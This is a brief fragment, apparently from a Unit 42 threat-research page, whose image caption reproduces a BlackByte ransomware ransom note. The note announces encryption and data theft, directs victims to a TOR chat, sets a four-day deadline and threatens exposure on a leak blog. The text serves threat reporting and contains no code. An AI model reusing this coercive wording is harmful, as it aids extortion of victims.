![BlackByte sample ransom note reads: "All your files have been encrypted your confidential data has been stolen, In order to decrypt files and avoid leakage, you must follow our steps. 1) Download and install TOR Browser from this site [TOR URL], 2) Paste the URL in TOR Browser and you will be redirected to our chat with all information that you need, 3) If you do not contact us within 4 days, your chat access key won't be valid. Also, your company will be posted on our blog, which will attract unnecessary attention from journalists and not only them. You are given 4 days to think over the situation, and take reasonable actions on your part. Warning! Communciation with us occurs only through this link, or through the mail on our blog. We also strongly DO NOT recommend using third-party tools to decrypt files as this will simply kill them completely without the possibility of recovery. I repeat, in this case, no one can help you!"](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/04/word-image-27.png)
Get updates from Unit 42 